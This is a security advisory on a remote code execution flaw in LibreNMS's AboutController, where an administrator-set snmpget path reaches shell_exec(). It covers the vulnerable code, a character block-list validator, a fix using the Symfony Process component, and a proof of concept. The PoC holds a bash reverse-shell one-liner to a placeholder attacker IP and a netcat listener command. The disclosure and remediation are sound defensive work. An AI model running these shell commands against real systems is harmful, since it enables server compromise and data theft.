GHSA-jf24-8g2h-2wg7

# Remote Code Execution via AboutController in LibreNMS

## Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

**Severity:** High (CVSS 7.2) **Attack Vector:** Network **Privileges Required:** High (Administrator) **User Interaction:** None **Impact:** Complete system compromise with web server privileges

---

## Details

### Vulnerable Code

**File:** `app/Http/Controllers/AboutController.php` **Line:** 85

```php 'version_netsnmp' => str_replace('version: ', '', rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))), ```

### Root Cause

The AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `"`, `>`, `<`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

### Configuration Access

The `snmpget` configuration can be modified through the web interface:

- **Endpoint:** `PUT /settings/snmpget` - **Controller:** `SettingsController::update()` - **Required Privileges:** Administrator - **Config Definition:** `resources/definitions/config_definitions.json`

```json "snmpget": { "default": "/usr/bin/snmpget", "type": "executable" } ```

### Validation Analysis

The `sanitizePath()` function in `DynamicConfigItem.php`:

```php // LibreNMS/Util/DynamicConfigItem.php:277-284 private function sanitizePath(string $path): string|false { if (preg_match('/[`;#$|&\'"><(]/', $path)) { return false; } return realpath($path); }

// LibreNMS/Util/DynamicConfigItem.php:107-110 } elseif ($this->type === 'executable') { $value == $this->sanitizePath($value); return $value !== false && is_file($value) && is_executable($value); } ``` ### Attack Scenarios

| Scenario | Description | |----------|-------------| | **Insider Threat** | Internal admin creates malicious file → updates config → RCE | | **Privilege Escalation** | Attacker with limited access → creates file → full RCE | | **Supply Chain** | Malicious package installs binary → admin uses it → RCE |

---

## PoC

### Prerequisites

- Valid administrator credentials for LibreNMS web interface - Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

### Proof of Concept - Reverse Shell

#### Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

```bash ATTACKER_IP="172.16.69.144" ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null ```

Save this as `/tmp/rev_shell.sh` and make it executable: ```bash chmod +x /tmp/rev_shell.sh ```

#### Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

```bash nc -lvnp 9001 ```

#### Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to: - **Settings** → **External** → **Binaries** - Locate **snmpget** configuration - Update the value to: `/tmp/rev_shell.sh` - Click **Save**

<img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" />

#### Step 4: Trigger RCE

Access the `/about` endpoint to execute the malicious binary:

<img width="1861" height="957" alt="image" src="https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b" />

---

## Impact Summary

| Category | Level | Description | |----------|-------|-------------| | **Confidentiality** | HIGH | Read config files, database credentials, SSH keys | | **Integrity** | HIGH | Create webshells, backdoors, modify code | | **Availability** | HIGH | Disrupt services, delete data, stop monitoring | | **Scope** | CHANGED | Compromise extends beyond application to system |

### Who Is Impacted - LibreNMS installations where attacker has admin credentials AND file system access - Organizations using LibreNMS for network monitoring - Systems monitored by LibreNMS (lateral movement risk)

---

## Remediation

Replace `shell_exec()` with Symfony Process component:

```php // BEFORE (vulnerable): shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe): $process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']); $process->run(); ```